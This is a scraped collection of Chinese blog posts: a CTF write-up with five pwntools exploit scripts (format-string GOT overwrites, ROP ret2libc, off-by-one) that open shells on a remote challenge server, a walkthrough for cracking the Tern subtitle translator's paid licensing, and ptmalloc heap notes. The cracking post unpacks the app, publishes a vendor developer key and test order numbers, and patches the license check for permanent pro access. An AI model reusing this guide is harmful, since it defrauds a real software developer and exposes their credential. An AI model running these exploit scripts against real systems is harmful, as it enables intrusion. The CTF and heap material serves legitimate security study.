</span>subA</span>=</span>[ </span>7</span>, </span>5</span>, </span>2</span>, </span>4</span>, </span>3</span>, </span>1</span>, </span>6</span>, </span>0</span>, </span>8 </span>]
</span>subB</span>=</span>[ </span>2</span>, </span>6</span>, </span>0</span>, </span>7</span>, </span>4</span>, </span>5</span>, </span>1</span>, </span>3</span>, </span>8</span>]
</span>subC</span>=</span>[</span>3</span>, </span>1</span>, </span>6</span>, </span>0</span>, </span>8</span>, </span>5</span>, </span>2</span>, </span>7</span>, </span>4</span>]
</span>
</span>p1</span>=</span>[</span>0</span>]</span>*</span>9
</span>p2</span>=</span>[</span>0</span>]</span>*</span>9
</span>p3</span>=</span>[</span>0</span>]</span>*</span>9
</span>
</span>for </span>i </span>in </span>range</span>(</span>9</span>):
</span>    p1[subA[i]]</span>=</span>out_part1[i]</span>^</span>0xCE2
</span>    p2[subB[i]]</span>=</span>out_part2[i]</span>^</span>0xFFF
</span>    p3[subC[i]]</span>=</span>out_part3[i]</span>^</span>0x4EA
</span>
</span>print</span>(</span>''</span>.join(</span>map</span>(</span>chr</span>,p1[::</span>-</span>1</span>]</span>+</span>p2</span>+</span>p3[::</span>-</span>1</span>])))
</span># flag{Fe3l_Fear_t0_7he_Revs}
</span></code></pre>
re3</h2>
android</code>逆向，这题并不是让你输入，然后返回结果，而是直接解密输出flag，可以复制一遍代码运行一下。这里还有一种方法，解密逻辑在FlagActivity</code>里，因此直接修改AndroidManifest.xml</code>，把FlagActivity</code>改成启动项，打包安装就行了。虽然在MainActivity</code>里有签名校验，但是不启动他自然也不会检验了。</p>
Pwn</h1>
注：我使用的LibcSearcher</code>我自己魔改过，其中dumpb</code>函数是我自己添加的，返回的是加上基址后的某函数的地址。</p>
pwn1</h2>
非常明显的格式化字符串漏洞，并且给了后门函数。可以修改GOT表printf</code>函数的地址，改成后门函数就行了（要一次性改好，所以有点慢）。</p>
from </span>pwn </span>import </span>*
</span>from </span>LibcSearcher </span>import </span>*
</span>
</span>REMOTE</span>=</span>True
</span>if </span>REMOTE</span>:
</span>    context(</span>os</span>=</span>'linux'</span>, </span>log_level</span>=</span>'info'</span>)
</span>    p </span>= </span>remote(</span>"47.242.59.61"</span>,</span>10000</span>)
</span>else</span>:
</span>    context(</span>os</span>=</span>'linux'</span>,</span>log_level</span>=</span>'info'</span>)
</span>    p </span>= </span>process(</span>'./pwn1'</span>)
</span>p.recvuntil(</span>" Wealcome to BMZCTF </span>\n</span>"</span>)
</span>
</span>vuln_addr</span>=</span>0x80486AE
</span>got_printf</span>=</span>0x804A014
</span>
</span>p.sendline(flat(</span>'%'</span>+</span>str</span>(vuln_addr)</span>+</span>'c%14$n'</span>,got_printf,</span>word_size</span>=</span>32</span>))
</span>p.sendline(</span>'.'</span>)
</span>p.interactive()
</span># bmzctf{ad048824-0848-4f51-8819-bccd40f83532}
</span></code></pre>
pwn2</h2>
check</code>有非常明显的栈溢出，非常经典的ROP。</p>
from </span>pwn </span>import </span>*
</span>from </span>LibcSearcher </span>import </span>*
</span>
</span>REMOTE</span>=</span>True
</span>if </span>REMOTE</span>:
</span>    context(</span>os</span>=</span>'linux'</span>, </span>log_level</span>=</span>'info'</span>)
</span>    p </span>= </span>remote(</span>"47.242.59.61"</span>,</span>10001</span>)
</span>else</span>:
</span>    context(</span>os</span>=</span>'linux'</span>,</span>log_level</span>=</span>'info'</span>)
</span>    p </span>= </span>process(</span>'./pwn2'</span>)
</span>p.recvuntil(</span>"Who are you?"</span>)
</span>
</span>plt_puts</span>=</span>0x400560
</span>got_puts</span>=</span>0x601018
</span>pop_rdi</span>=</span>0x400833
</span>restart</span>=</span>0x4005C0
</span>
</span>p.recv()
</span># 泄露puts地址并重新开始程序
</span>p.sendline(flat({</span>56</span>:
</span>    [
</span>        pop_rdi,got_puts,
</span>        plt_puts,
</span>        restart
</span>    ]
</span>},</span>word_size</span>=</span>64</span>))
</span>puts_addr</span>=</span>u64(p.recvuntil(</span>'</span>\n</span>'</span>)[:</span>-</span>1</span>].ljust(</span>8</span>,</span>b</span>'</span>\0</span>'</span>))
</span>print</span>(</span>hex</span>(puts_addr))
</span>
</span>libc</span>=</span>LibcSearcher(</span>'puts'</span>,puts_addr)
</span>p.sendline(flat({</span>56</span>:
</span>    [
</span>        pop_rdi,libc.dumpb(</span>'str_bin_sh'</span>),
</span>        libc.dumpb(</span>'system'</span>)
</span>    ]
</span>},</span>word_size</span>=</span>64</span>))
</span>
</span>p.interactive()
</span># bmzctf{ec9f5740-b3d4-4b5d-8996-798c5b6366f9}
</span></code></pre>
pwn3</h2>
这道题的漏洞比较隐蔽，</p>
</p>
所以这里存在Off-By-One</code>漏洞，可以通过不断的输入N</code>来向后移动smsg</code>函数里的buf</code>指针，导致栈溢出</p>
from </span>pwn </span>import </span>*
</span>from </span>LibcSearcher </span>import </span>*
</span>
</span>REMOTE</span>=</span>True
</span>if </span>REMOTE</span>:
</span>    context(</span>os</span>=</span>'linux'</span>, </span>log_level</span>=</span>'debug'</span>)
</span>    p </span>= </span>remote(</span>"47.242.59.61"</span>,</span>10002</span>)
</span>else</span>:
</span>    context(</span>os</span>=</span>'linux'</span>,</span>log_level</span>=</span>'info'</span>)
</span>    p </span>= </span>process(</span>'./pwn3'</span>)
</span>
</span>def </span>smsg</span>(</span>payload</span>):
</span>    p.sendlineafter(</span>'>'</span>,</span>'smsg'</span>)
</span>    </span># 移动buf指针
</span>    </span>for </span>_ </span>in </span>range</span>(</span>80</span>):
</span>        p.sendlineafter(</span>'->'</span>,</span>''</span>)
</span>        p.sendlineafter(</span>'Send?(Y/N)'</span>,</span>'N'</span>)
</span>    p.sendlineafter(</span>'->'</span>,</span>b</span>' '</span>*</span>7</span>+</span>payload)
</span>    p.sendlineafter(</span>'Send?(Y/N)'</span>,</span>'Y'</span>)
</span>
</span>plt_puts</span>=</span>0x401040
</span>got_puts</span>=</span>0x404020
</span>pop_rdi</span>=</span>0x40155b
</span>restart</span>=</span>0x4010B0
</span>ret</span>=</span>0x4014FA
</span>
</span># 下面的同上一题
</span>smsg(flat(flat(
</span>    pop_rdi,got_puts,
</span>    plt_puts,
</span>    restart
</span>,</span>word_size</span>=</span>64</span>)))
</span>p.recvuntil(</span>'Sent.</span>\n</span>'</span>)
</span>puts_addr</span>=</span>u64(p.recvuntil(</span>'</span>\n</span>'</span>)[:</span>-</span>1</span>].ljust(</span>8</span>,</span>b</span>'</span>\0</span>'</span>))
</span>print</span>(</span>hex</span>(puts_addr))
</span>
</span>libc</span>=</span>LibcSearcher(</span>'puts'</span>,puts_addr)
</span>smsg(flat(
</span>    pop_rdi,libc.dumpb(</span>'str_bin_sh'</span>),
</span>    ret, </span># 对齐栈
</span>    libc.dumpb(</span>'system'</span>)
</span>,</span>word_size</span>=</span>64</span>))
</span>p.interactive()
</span># bmzctf{16833c9c-5ce7-4878-b975-f4ed1fac6049}
</span></code></pre>
pwn4</h2>
这题又是格式化字符串漏洞，但是这次看上去只有一机会，但是肯定是不可能一次就getshell</code>的。</p>
在结束程序前，唯一的操作就是进行了Canary</code>检测，那就利用这个，将GOT表中___stack_chk_fail</code>的地址改成main_0</code>的地址，同时故意输入很长，触发Canary</code>保护，就可以进行多次printf</code>了。当然，之后的每一次也要故意溢出。</p>
可以布局栈然后修改___stack_chk_fail</code>地址到自己布局的栈上。而我利用了setvbuf(stdin, 0LL, 2, 0LL);</code>，将setvbuf</code>改成system</code>，stdin</code>改成/bin/sh</code>的地址。</p>
from </span>pwn </span>import </span>*
</span>from </span>LibcSearcher </span>import </span>*
</span>
</span>REMOTE</span>=</span>True
</span>if </span>REMOTE</span>:
</span>    context(</span>os</span>=</span>'linux'</span>, </span>log_level</span>=</span>'debug'</span>)
</span>    p </span>= </span>remote(</span>"47.242.59.61"</span>,</span>10003</span>)
</span>else</span>:
</span>    context(</span>os</span>=</span>'linux'</span>,</span>log_level</span>=</span>'info'</span>)
</span>    p </span>= </span>process(</span>'./pwn4'</span>)
</span>
</span>got_stack_chk_fail</span>=</span>0x601020
</span>got_printf</span>=</span>0x601028
</span>got_setvbuf</span>=</span>0x601058
</span>bss_stdin</span>=</span>0x601088
</span>
</span>p.sendlineafter(</span>': '</span>,</span>''</span>)
</span>def </span>send</span>(</span>*</span>payload</span>):
</span>    p.sendafter(</span>': '</span>,flat({</span>0</span>:[payload],</span>31</span>:</span>'</span>\n</span>'</span>},</span>word_size</span>=</span>64</span>))
</span>def </span>padding</span>(</span>data</span>,</span>length</span>):
</span>    </span>return </span>data</span>+</span>' '</span>*</span>(length</span>-</span>len</span>(data))
</span># stack_chk_fail -> main_0
</span>send(padding(</span>'</span>%2245c</span>%8$hn'</span>,</span>16</span>),got_stack_chk_fail)
</span>
</span># leak glibc
</span>send(</span>'%7$s    '</span>,got_printf)
</span>printf_addr</span>=</span>u64(p.recvuntil(</span>' '</span>)[:</span>-</span>1</span>].ljust(</span>8</span>,</span>b</span>'</span>\0</span>'</span>))
</span>libc</span>=</span>LibcSearcher(</span>'printf'</span>,printf_addr)
</span>
</span>def </span>set</span>(</span>addr</span>,</span>value</span>):
</span>    </span>for </span>i </span>in </span>range</span>(</span>len</span>(value)):
</span>        j</span>=</span>value[i]
</span>        </span>if </span>j</span>==</span>0</span>:
</span>            send(padding(</span>'%7$hhn'</span>,</span>8</span>),addr</span>+</span>i)
</span>        </span>else</span>:
</span>            send(padding(</span>'%'</span>+</span>str</span>(j)</span>+</span>'c%8$hhn'</span>,</span>16</span>),addr</span>+</span>i)
</span>
</span># setvbuf -> system
</span># stdin   -> "/bin/sh"
</span>set</span>(bss_stdin,p64(libc.dumpb(</span>'str_bin_sh'</span>)))
</span>set</span>(got_setvbuf,p64(libc.dumpb(</span>'system'</span>)))
</span># stack_chk_fail -> setvbuf(stdin)
</span>send(padding(</span>'%'</span>+</span>str</span>(</span>0x56</span>)</span>+</span>'c%8$hhn'</span>,</span>16</span>),got_stack_chk_fail)
</span>p.interactive()
</span>
</span># bmzctf{71fe464d-3d28-49d8-952b-e338dd60d169}
</span></code></pre>
pwn5</h2>
这题又双叒叕是格式化字符串漏洞，这次是有一个计数器来限制只允许调用一次，但是这个计数器也在栈中，因此开头输入%7$n</code>就可以绕过了(输%7$lln</code>还可以同时清空leak</code>函数的计数器，但是我没有用到leak</code>函数= =)，接下来就是常规的布局栈、跳转。</p>
from </span>pwn </span>import </span>*
</span>from </span>LibcSearcher </span>import </span>*
</span>import </span>re
</span>
</span>from </span>pwnlib.replacements </span>import </span>sleep
</span>
</span>REMOTE</span>=</span>True
</span>if </span>REMOTE</span>:
</span>    context(</span>os</span>=</span>'linux'</span>, </span>log_level</span>=</span>'debug'</span>)
</span>    p </span>= </span>remote(</span>"47.242.59.61"</span>,</span>10004</span>)
</span>else</span>:
</span>    context(</span>os</span>=</span>'linux'</span>,</span>log_level</span>=</span>'debug'</span>)
</span>    p </span>= </span>process(</span>'./pwn5'</span>)
</span>
</span>p.sendlineafter(</span>'tell me the time:'</span>,</span>'1 1 1'</span>)
</span>
</span>def </span>padding</span>(</span>data</span>,</span>length</span>):
</span>    </span>return </span>data</span>+</span>' '</span>*</span>(length</span>-</span>len</span>(data))
</span># 泄露程序地址
</span>p.sendlineafter(</span>'>>'</span>,</span>'2'</span>)
</span>if </span>REMOTE</span>:
</span>    sleep(</span>0.5</span>)
</span>p.sendline(</span>'%7$n%17$p '</span>)
</span>a</span>=</span>p.recvuntil(</span>' </span>\n</span>'</span>).decode()
</span>a</span>=</span>re.findall(</span>'0x([0-9a-f]+) </span>\n</span>'</span>,a)[</span>0</span>]
</span>main_76_addr</span>=</span>int</span>(a,</span>16</span>)
</span>ret_addr</span>=</span>main_76_addr</span>+</span>135
</span>got_setvbuf_addr</span>=</span>main_76_addr</span>+</span>0x200f94
</span>
</span># 泄露堆地址
</span>p.sendlineafter(</span>'>>'</span>,</span>'2'</span>)
</span>if </span>REMOTE</span>:
</span>    sleep(</span>0.5</span>)
</span>p.sendline(</span>'%7$n%7$p '</span>)
</span>a</span>=</span>p.recvuntil(</span>' </span>\n</span>'</span>).decode()
</span>a</span>=</span>re.findall(</span>'0x([0-9a-f]+) </span>\n</span>'</span>,a)[</span>0</span>]
</span>heap_addr</span>=</span>int</span>(a,</span>16</span>)</span>-</span>20
</span>
</span># 泄露libc
</span>p.sendlineafter(</span>'>>'</span>,</span>'2'</span>)
</span>if </span>REMOTE</span>:
</span>    sleep(</span>0.5</span>)
</span>p.sendline(flat(padding(</span>'%7$n%10$s '</span>,</span>16</span>),got_setvbuf_addr,</span>word_size</span>=</span>64</span>))
</span>setvbuf_addr</span>=</span>u64(p.recvuntil(</span>' '</span>)[:</span>-</span>1</span>].ljust(</span>8</span>,</span>b</span>'</span>\0</span>'</span>))
</span>libc</span>=</span>LibcSearcher(</span>'setvbuf'</span>,setvbuf_addr)
</span>
</span>def </span>set</span>(</span>addr</span>,</span>value</span>):
</span>    </span>for </span>i </span>in </span>range</span>(</span>len</span>(value)):
</span>        p.sendlineafter(</span>'>>'</span>,</span>'2'</span>)
</span>        </span>if </span>REMOTE</span>:
</span>            sleep(</span>0.5</span>)
</span>        </span>if </span>value[i]</span>==</span>0</span>:
</span>            p.sendline(flat(padding(</span>'%7$n%10$hhn'</span>,</span>16</span>),addr</span>+</span>i,</span>word_size</span>=</span>64</span>))
</span>        </span>else</span>:
</span>            p.sendline(flat(padding(</span>'%7$n%'</span>+</span>str</span>(value[i])</span>+</span>'c%11$hhn'</span>,</span>24</span>),addr</span>+</span>i,</span>word_size</span>=</span>64</span>))
</span># 布局栈
</span>set</span>(heap_addr</span>+</span>8</span>*</span>7</span>,flat(ret_addr,libc.dumpb(</span>'str_bin_sh'</span>),libc.dumpb(</span>'system'</span>),</span>word_size</span>=</span>64</span>))
</span># 跳转
</span>p.sendlineafter(</span>'>>'</span>,</span>'2'</span>)
</span>p.sendline(flat(padding(</span>'%'</span>+</span>str</span>(</span>0xaa</span>)</span>+</span>'c%10$hhn'</span>,</span>16</span>),heap_addr,</span>word_size</span>=</span>64</span>))
</span>
</span>p.interactive()
</span># bmzctf{3e8e8d83-7b4f-43bb-a2dd-77db11de2679}
</span></code></pre>


Tern字幕翻译软件逆向记录
2020-12-22T00:00:00+00:00
Tern(官网https://zh.tern.best</a>)是一个字幕翻译的软件，他通过调用主流翻译平台的接口(需要自己注册)进行字幕翻译，说白了就是写了个gui。但是他免费版每月是限制字符数的。因此。。。</p>
提取</h1>
这是一个eletron应用，外面就是一层chrome的壳，真正逻辑在resources/app.asar</code>，用npm安装asar工具对其解压。</p>
npm</span> -g</span> install asar
</span>asar e app.asar app
</span></code></pre>
随便翻了翻，可以看到主要逻辑在js/app.cca879ab.js</code>里，本来要读这个打包出来文件非常头疼，但是这个软件竟然把sourcemap也打包了出来，那就直接用工具恢复源文件吧。这里用的是reverse-sourcemap</a>，用起来很方便，只要reverse-sourcemap <目标文件></code>就行了。</p>
恢复之后就可以愉快的分析代码了(甚至还有详细的注释)。</p>
分析</h1>
在源代码里乱翻找到了js/webpak/src/config/index.js</code>，好家伙，免费额度都直接写在这里了。</p>
// js/webpak/src/config/index.js
</span>// 配置
</span>
</span>const </span>one_minutes </span>= </span>60
</span>const </span>one_hours </span>= </span>60 </span>* </span>one_minutes
</span>
</span>exports</span>.</span>config </span>= </span>{
</span>  free_plan_monthly_char_limit: </span>1000000</span>, </span>// 字幕翻译: 每月免费额度 (单位: 字符数)
</span>  </span>// 这是100万字符
</span>  free_plan_monthly_duration_limit_in_seconds: </span>one_hours </span>* </span>10</span>, </span>// 语音转文字: 每月免费时长 (单位: 秒)
</span>  mianbaoduo_lifetime: </span>"YZ6Vmps="</span>,
</span>  mianbaoduo_7_day: </span>"YZ6Vmpk="</span>,
</span>  mianbaoduo_14_day: </span>"YpyTl5s="</span>,
</span>  mianbaoduo_30_day: </span>"YZ2Zmpc="</span>,
</span>  mianbaoduo_30_day_repeat: </span>"Y5ubmJY="</span>, </span>// 30天可复购的版本
</span>  mianbaoduo_60_day: </span>"YZ2ZmpY="</span>,
</span>  mianbaoduo_90_day: </span>"YZ2YmZ8="</span>,
</span>  mianbaoduo_120_day: </span>"YpWWm5s="</span>,
</span>  mianbaoduo_valid_urlkey: [
</span>    </span>"YZ6Vmps="</span>, </span>"YZ6Vmpk="</span>, </span>"YpyTl5s="</span>, </span>"YZ2Zmpc="</span>, </span>"YZ2ZmpY="</span>, </span>"YZ2YmZ8="</span>, </span>"YpWWm5s="</span>, </span>"Y5ubmJY="
</span>  ],
</span>  mianbaoduo_developer_key: </span>"77567:1iwLac:JEhBXIb4hcI5fl9_OeE8N5F2aBY"</span>,
</span>  doc_root: </span>'https://doc.tern.1c7.me/'</span>,
</span>  doc_root_cn: </span>'https://doc.tern.1c7.me/zh/'
</span>}
</span></code></pre>
但光提高免费额度肯定是不够的(目标当然是无限额)，下面又定义了一些base64编码的字符串，目前还不知道是做什么用的，但是看名字就知道肯定和付费有关，那就全局搜索这些字符串的键，然后找到了js/webpack/src/lib/mianbaoduo.js</code>文件，翻了一下人傻了，测试用的订单号写注释里可还行，试了一下真可以用。（就放一部分出来给你们馋馋）</p>
// 一些测试用的订单号
</span>// f0030d99307cdc1d98d007a45fa611** // 7天
</span>// 6a922475f64c2012cfb9bb4303c109** // 14天
</span>// d8f3ed76a0d9706fecdbf13b415d98** // 30天
</span>// 084c3ad39ac24f2c242ab493daa380** // 60天
</span>// 3dd86e87e3f5dd41f39c71d4c11793** // 90天
</span>// b32a367006c807271fc89861c082d6** // 120天
</span>// c5c0960a5126058c0ab452763e405d** // 永久
</span>// 1156121ab3602bf9576413b3c48d81** // 30天(可复购) 8月25号过期 (我自己买的测试版)
</span>// 2bc7e9a6734f00fe75a58394881e86** // 30天, 复购了一次的版本, 第一次是7月11号过期，然后复购了一个月8月12号过期
</span></code></pre>
这我肯定还是不满意，继续往下看http_order_detail</code>函数是在检验激活码，再往上找，找到调用它的函数，在js/webpack/src/mixin_plan.js</code>里面的validate_mianbaoduo_order_id</code>函数。</p>
async </span>validate_mianbaoduo_order_id</span>() {
</span>			</span>var </span>that </span>= </span>this</span>;
</span>			</span>this</span>.</span>license_verifying_state </span>= </span>this</span>.</span>state_dict</span>.</span>verifying</span>;
</span>			</span>var </span>order_id </span>= </span>this</span>.</span>mianbaoduo_order_id</span>;
</span>
</span>			</span>var </span>mian_bao_duo </span>= new </span>MianBaoDuo({
</span>				order_id: </span>order_id</span>,
</span>				developer_key: </span>config</span>.</span>mianbaoduo_developer_key</span>,
</span>				valid_urlkeys: </span>config</span>.</span>mianbaoduo_valid_urlkey
</span>			});
</span>			</span>await </span>mian_bao_duo</span>.</span>get_order_detail</span>();
</span>
</span>			</span>// 如果是个无效订单
</span>			</span>if </span>(</span>mian_bao_duo</span>.</span>order_is_valid</span>() </span>== </span>false</span>) {
</span>				</span>that</span>.</span>license_verifying_state </span>= </span>that</span>.</span>state_dict</span>.</span>invalid</span>;
</span>				</span>that</span>.</span>set_plan_free</span>();
</span>				</span>that</span>.</span>remove_license_code</span>();
</span>				</span>return</span>;
</span>			}
</span>
</span>			</span>// 如果 urlkey 不在有效数组内, 这里就直接返回了，无需执行后续判断
</span>			</span>if </span>(</span>mian_bao_duo</span>.</span>urlkey_is_valid</span>() </span>== </span>false</span>) {
</span>				</span>that</span>.</span>license_verifying_state </span>= </span>that</span>.</span>state_dict</span>.</span>invalid</span>;
</span>				</span>that</span>.</span>set_plan_free</span>();
</span>				</span>that</span>.</span>remove_license_code</span>();
</span>				</span>return</span>;
</span>			}
</span>
</span>			</span>var </span>response </span>= </span>mian_bao_duo</span>.</span>order_info</span>; </span>// 订单的结果
</span>			</span>var </span>urlkey </span>= </span>response</span>.</span>result</span>.</span>urlkey</span>;
</span>
</span>			</span>//  如果是永久激活码
</span>			</span>if </span>(</span>mian_bao_duo</span>.</span>is_lifetime_license</span>()) {
</span>				</span>that</span>.</span>license_verifying_state </span>= </span>that</span>.</span>state_dict</span>.</span>valid</span>;
</span>				</span>that</span>.</span>set_plan_pro</span>();
</span>				</span>that</span>.</span>set_license_code</span>(</span>order_id</span>);
</span>				</span>return</span>;
</span>			}
</span>
</span>			</span>var </span>order_time </span>= </span>response</span>.</span>result</span>.</span>ordertime</span>; </span>// 支付时间的时间戳 timestamp like 1580205634
</span>			</span>var </span>orderamount </span>= </span>response</span>.</span>result</span>.</span>orderamount</span>; </span>// 支付金额
</span>			</span>that</span>.</span>set_pay_time</span>(</span>order_time</span>);
</span>			</span>that</span>.</span>set_orderamount</span>(</span>orderamount</span>);
</span>
</span>			</span>var </span>order_time_readable </span>= </span>moment
</span>				.</span>unix</span>(</span>order_time</span>)
</span>				.</span>format</span>(</span>"YYYY-MM-DD HH:mm:ss"</span>);
</span>			</span>// 2020-01-28 18:00:34
</span>
</span>			</span>// 7天/14天/30/60/90/120天
</span>			</span>var </span>valid_for_x_days </span>= </span>null</span>;
</span>
</span>			</span>switch </span>(</span>urlkey</span>) {
</span>				</span>case </span>config</span>.</span>mianbaoduo_7_day</span>:
</span>					</span>valid_for_x_days </span>= </span>7</span>;
</span>					</span>break</span>;
</span>				</span>case </span>config</span>.</span>mianbaoduo_14_day</span>:
</span>					</span>valid_for_x_days </span>= </span>14</span>;
</span>					</span>break</span>;
</span>				</span>case </span>config</span>.</span>mianbaoduo_30_day</span>:
</span>					</span>valid_for_x_days </span>= </span>30</span>;
</span>					</span>break</span>;
</span>				</span>case </span>config</span>.</span>mianbaoduo_60_day</span>:
</span>					</span>valid_for_x_days </span>= </span>60</span>;
</span>					</span>break</span>;
</span>				</span>case </span>config</span>.</span>mianbaoduo_90_day</span>:
</span>					</span>valid_for_x_days </span>= </span>90</span>;
</span>					</span>break</span>;
</span>				</span>case </span>config</span>.</span>mianbaoduo_120_day</span>:
</span>					</span>valid_for_x_days </span>= </span>120</span>;
</span>					</span>break</span>;
</span>				</span>default</span>:
</span>					</span>// 除非是30天复购版, 否则不会到 default 这里
</span>					</span>// 这个复购版我们在后面单独处理
</span>					</span>break</span>;
</span>			}
</span>
</span>			</span>if </span>(</span>valid_for_x_days </span>!= </span>null</span>) {
</span>				</span>// 如果已过期
</span>				</span>if </span>(
</span>					</span>that</span>.</span>now_is_after_ordertime_plus_day</span>(</span>order_time</span>, </span>valid_for_x_days</span>)
</span>				) {
</span>					</span>that</span>.</span>license_verifying_state </span>= </span>that</span>.</span>state_dict</span>.</span>expired</span>;
</span>					</span>that</span>.</span>expire_message </span>= </span>that</span>.</span>$t</span>(</span>"plan.license_expired"</span>, {
</span>						date: </span>order_time_readable</span>,
</span>						day: </span>valid_for_x_days</span>,
</span>						expired_date: </span>this</span>.</span>get_expired_datetime</span>(
</span>							</span>order_time</span>,
</span>							</span>valid_for_x_days
</span>						).</span>format</span>(</span>"YYYY-MM-DD HH:mm:ss"</span>)
</span>					});
</span>					</span>that</span>.</span>set_plan_free</span>();
</span>					</span>that</span>.</span>remove_license_code</span>();
</span>					</span>return</span>;
</span>				} </span>else </span>{
</span>					</span>that</span>.</span>set_order_type</span>(</span>`${</span>valid_for_x_days</span>}天`</span>);
</span>					</span>that</span>.</span>set_expire_time</span>(</span>order_time</span>, </span>valid_for_x_days</span>);
</span>					</span>that</span>.</span>set_plan_limited</span>();
</span>					</span>that</span>.</span>set_license_code</span>(</span>order_id</span>);
</span>				}
</span>			}
</span>
</span>			</span>// 30天可复购版
</span>			</span>if </span>(</span>urlkey </span>== </span>config</span>.</span>mianbaoduo_30_day_repeat</span>) {
</span>				</span>var </span>valid </span>= </span>response</span>.</span>result</span>.</span>state </span>== </span>"success"</span>;
</span>				</span>var </span>re_exists </span>= </span>response</span>.</span>result</span>.</span>re </span>!= </span>undefined</span>; </span>// 这个 re 字段代表是复购的，里面有复购的信息
</span>				</span>if </span>(</span>valid</span>) {
</span>					</span>that</span>.</span>set_order_type</span>(</span>"30天 (可复购)"</span>); </span>// 显示给用户看的
</span>					</span>that</span>.</span>set_plan_limited</span>();
</span>					</span>that</span>.</span>set_license_code</span>(</span>order_id</span>);
</span>
</span>					</span>// 如果是复购的，过期时间和购买时间从 re 里面拿
</span>					</span>if </span>(</span>re_exists</span>) {
</span>						</span>var </span>expire_timestamp </span>= </span>response</span>.</span>result</span>.</span>re</span>.</span>expire_at</span>;
</span>						</span>that</span>.</span>set_expire_time_by_timestamp</span>(</span>expire_timestamp</span>);
</span>						</span>var </span>order_timestamp </span>= </span>response</span>.</span>result</span>.</span>re</span>.</span>ordertime</span>;
</span>						</span>that</span>.</span>set_pay_time</span>(</span>order_timestamp</span>);
</span>					} </span>else </span>{
</span>						</span>that</span>.</span>set_expire_time_by_timestamp</span>(</span>response</span>.</span>result</span>.</span>expire_at</span>);
</span>					}
</span>				} </span>else </span>{
</span>					</span>that</span>.</span>license_verifying_state </span>= </span>that</span>.</span>state_dict</span>.</span>expired</span>;
</span>
</span>					</span>var </span>expire_timestamp </span>= </span>null</span>;
</span>					</span>if </span>(</span>re_exists</span>) {
</span>						</span>expire_timestamp </span>= </span>response</span>.</span>result</span>.</span>re</span>.</span>expire_at</span>;
</span>					} </span>else </span>{
</span>						</span>expire_timestamp </span>= </span>response</span>.</span>result</span>.</span>expire_at</span>;
</span>					}
</span>
</span>					</span>var </span>expired_date </span>= </span>moment
</span>						.</span>unix</span>(</span>expire_timestamp</span>)
</span>						.</span>format</span>(</span>"YYYY-MM-DD HH:mm:ss"</span>);
</span>					</span>that</span>.</span>expire_message </span>= </span>that</span>.</span>$t</span>(</span>"plan.license_expired_just_date"</span>, {
</span>						expired_date: </span>expired_date
</span>					});
</span>
</span>					</span>that</span>.</span>set_plan_free</span>();
</span>					</span>that</span>.</span>remove_license_code</span>();
</span>				}
</span>			}
</span>		},
</span></code></pre>
这是完整的校验逻辑，直接把这个改掉(改那个打包过的文件)，换成永久激活的逻辑就行了。再用asar</code>重新打包一份，替换原来的app.asar</code>就完成了。</p>
其它</h1>
逆向过程中还搜到了一个恢复chrome生成的pak文件的工具chrome-pak-customizer</a>，这里也记录一下。</p>
如有侵权，联系删除。</p>


ptmalloc学习笔记
2020-12-07T00:00:00+00:00
最近在学习pwn中的堆利用，因此来系统的学习一下ptmalloc的机制。主要看的是Glibc内存管理--ptmalloc2源代码分析。</p>
malloc</h1>
这是照着书上画的流程图，可以快速了解malloc的整体逻辑。</p>
</p>
free</h1>
同样是流程图:
</p>
unlink</h1>
其它漏洞配合上unlink可以达到任意地址写的效果。</p>
这是旧版unlink函数，是宏的形式。</p>
/* Take a chunk off a bin list */
</span>#define </span>unlink</span>(</span>P</span>, </span>BK</span>, </span>FD</span>) { \
</span> FD </span>=</span> P->fd; \
</span> BK </span>=</span> P->bk; \
</span> </span>if </span>(__builtin_expect (FD->bk </span>!=</span> P </span>||</span> BK->fd </span>!=</span> P, </span>0</span>)) \
</span> malloc_printerr (check_action, </span>"corrupted double-linked list"</span>, P); \
</span> </span>else </span>{ \
</span> FD->bk </span>=</span> BK; \
</span> BK->fd </span>=</span> FD; \
</span> </span>if </span>(</span>!</span>in_smallbin_range (P->size) \
</span> </span>&& </span>__builtin_expect (P->fd_nextsize </span>!= </span>NULL, </span>0</span>)) { \
</span> </span>assert </span>(P->fd_nextsize->bk_nextsize </span>==</span> P); \
</span> </span>assert </span>(P->bk_nextsize->fd_nextsize </span>==</span> P); \
</span> </span>if </span>(FD->fd_nextsize </span>== </span>NULL) { \
</span> </span>if </span>(P->fd_nextsize </span>==</span> P) \
</span> FD->fd_nextsize </span>=</span> FD->bk_nextsize </span>=</span> FD; \
</span> </span>else </span>{ \
</span> FD->fd_nextsize </span>=</span> P->fd_nextsize; \
</span> FD->bk_nextsize </span>=</span> P->bk_nextsize; \
</span> P->fd_nextsize->bk_nextsize </span>=</span> FD; \
</span> P->bk_nextsize->fd_nextsize </span>=</span> FD; \
</span> } \
</span> } </span>else </span>{ \
</span> P->fd_nextsize->bk_nextsize </span>=</span> P->bk_nextsize; \
</span> P->bk_nextsize->fd_nextsize </span>=</span> P->fd_nextsize; \
</span> } \
</span> } \
</span> } \
</span>}
</span></code></pre>
这是新版的unlink新增了presize的检查，利用起来更难了。。</p>

</span>/* Take a chunk off a bin list.  */
</span>static </span>void
</span>unlink_chunk </span>(mstate </span>av</span>, mchunkptr </span>p</span>)
</span>{
</span>  </span>if </span>(chunksize (p) </span>!= </span>prev_size (next_chunk (p)))
</span>    malloc_printerr (</span>"corrupted size vs. prev_size"</span>);
</span>
</span>  mchunkptr fd </span>=</span> p->fd;
</span>  mchunkptr bk </span>=</span> p->bk;
</span>
</span>  </span>if </span>(__builtin_expect (fd->bk </span>!=</span> p </span>||</span> bk->fd </span>!=</span> p, </span>0</span>))
</span>    malloc_printerr (</span>"corrupted double-linked list"</span>);
</span>
</span>  fd->bk </span>=</span> bk;
</span>  bk->fd </span>=</span> fd;
</span>  </span>if </span>(</span>!</span>in_smallbin_range (chunksize_nomask (p)) </span>&&</span> p->fd_nextsize </span>!= </span>NULL</span>)
</span>    {
</span>      </span>if </span>(p->fd_nextsize->bk_nextsize </span>!=</span> p
</span>	  </span>||</span> p->bk_nextsize->fd_nextsize </span>!=</span> p)
</span>	malloc_printerr (</span>"corrupted double-linked list (not small)"</span>);
</span>
</span>      </span>if </span>(fd->fd_nextsize </span>== </span>NULL</span>)
</span>	{
</span>	  </span>if </span>(p->fd_nextsize </span>==</span> p)
</span>	    fd->fd_nextsize </span>=</span> fd->bk_nextsize </span>=</span> fd;
</span>	  </span>else
</span>	    {
</span>	      fd->fd_nextsize </span>=</span> p->fd_nextsize;
</span>	      fd->bk_nextsize </span>=</span> p->bk_nextsize;
</span>	      p->fd_nextsize->bk_nextsize </span>=</span> fd;
</span>	      p->bk_nextsize->fd_nextsize </span>=</span> fd;
